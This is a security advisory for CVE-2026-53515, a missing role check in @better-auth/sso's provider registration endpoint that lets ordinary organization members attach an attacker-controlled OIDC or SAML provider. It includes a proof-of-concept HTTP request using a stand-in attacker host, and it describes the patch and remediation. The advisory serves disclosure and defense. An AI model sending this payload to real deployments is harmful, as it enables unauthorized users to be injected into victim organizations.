high · 7.1CVE-2026-53515Jul 20, 2026

CVE-2026-53515: @better-auth/sso Broken Object-Level Authorization on SSO Provider Registration

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any regular member of a Better Auth organization could register an attacker-controlled SSO identity provider for that organization, potentially letting the attacker inject arbitrary users into the…

Package@better-auth/sso
Ecosystemnpm
Affected>= 1.2.10, < 1.6.11
Fixed in1.6.11

The problem

The POST /sso/register endpoint in @better-auth/sso checked that the caller was a member of the target organization but never checked their role. A user with the default member role could supply any organizationId and attach an OIDC or SAML provider they control.

All other SSO provider management endpoints (get, update, delete) already required owner or admin. The create path was the only one that skipped the role gate, creating a privilege boundary mismatch on the same resource. Once a malicious provider is registered, subsequent calls to /sso/callback/{providerId} can add attacker-controlled IdP users into the target organization at the configured default role, which may be admin.

Proof of concept

A working proof-of-concept for CVE-2026-53515 in @better-auth/sso, with the exact payload below.

http
POST /api/auth/sso/register HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: better-auth.session_token=<regular_member_session>

{
  "providerId": "attacker-idp",
  "issuer": "https://attacker.example.com",
  "domain": "victim-org.com",
  "organizationId": "<victim_org_id>",
  "oidcConfig": {
    "clientId": "attacker-client",
    "clientSecret": "attacker-secret",
    "discoveryEndpoint": "https://attacker.example.com/.well-known/openid-configuration"
  }
}

The root cause is CWE-285 (Improper Authorization) combined with CWE-269 (Improper Privilege Management). In packages/sso/src/routes/sso.ts, the registerSSOProvider handler fetched the member row to confirm the caller belonged to the org, but the code path stopped there and never called isOrgAdmin or any equivalent role check before writing the new provider row to the database.

The patch (PR #9220, commit 86765f1) extracts a hasOrgAdminRole(member) helper from providers.ts and calls it inside registerSSOProvider immediately after the membership lookup. If member.role is not owner or admin, the handler now throws a 403 before persisting anything.

The check is gated on hasPlugin("organization") so installations without the org plugin are unaffected.

The fix

Upgrade to @better-auth/sso@1.6.11 or later. If an immediate upgrade is not possible: set sso({ providersLimit: 0 }) to block all user-driven registration, or set organizationProvisioning: { disabled: true } to stop SSO callbacks from adding org members.

After upgrading, audit existing ssoProvider rows where organizationId IS NOT NULL and cross-check each creator's member.role; remove rows created by non-admins in two steps (provider row first, then org members added by that provider).

Reported by Nadav0077.

References: [1][2][3][4][5][6]

Related research